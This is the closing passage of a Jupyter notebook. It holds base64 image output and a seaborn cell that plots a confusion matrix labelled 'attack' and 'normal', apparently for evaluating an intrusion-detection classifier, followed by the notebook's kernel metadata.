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\n", 466 | "text/plain": [ 467 | "
" 468 | ] 469 | }, 470 | "metadata": {}, 471 | "output_type": "display_data" 472 | } 473 | ], 474 | "source": [ 475 | "to_heat_map =[[tn,fp],[fn,tp]]\n", 476 | "to_heat_map = pd.DataFrame(to_heat_map, index = [\"attack\",\"normal\"],columns = [\"attack\",\"normal\"])\n", 477 | "ax = sns.heatmap(to_heat_map,annot=True, fmt=\"d\")" 478 | ] 479 | } 480 | ], 481 | "metadata": { 482 | "kernelspec": { 483 | "display_name": "Python 3", 484 | "language": "python", 485 | "name": "python3" 486 | }, 487 | "language_info": { 488 | "codemirror_mode": { 489 | "name": "ipython", 490 | "version": 3 491 | }, 492 | "file_extension": ".py", 493 | "mimetype": "text/x-python", 494 | "name": "python", 495 | "nbconvert_exporter": "python", 496 | "pygments_lexer": "ipython3", 497 | "version": "3.8.8" 498 | } 499 | }, 500 | "nbformat": 4, 501 | "nbformat_minor": 5 502 | } 503 | --------------------------------------------------------------------------------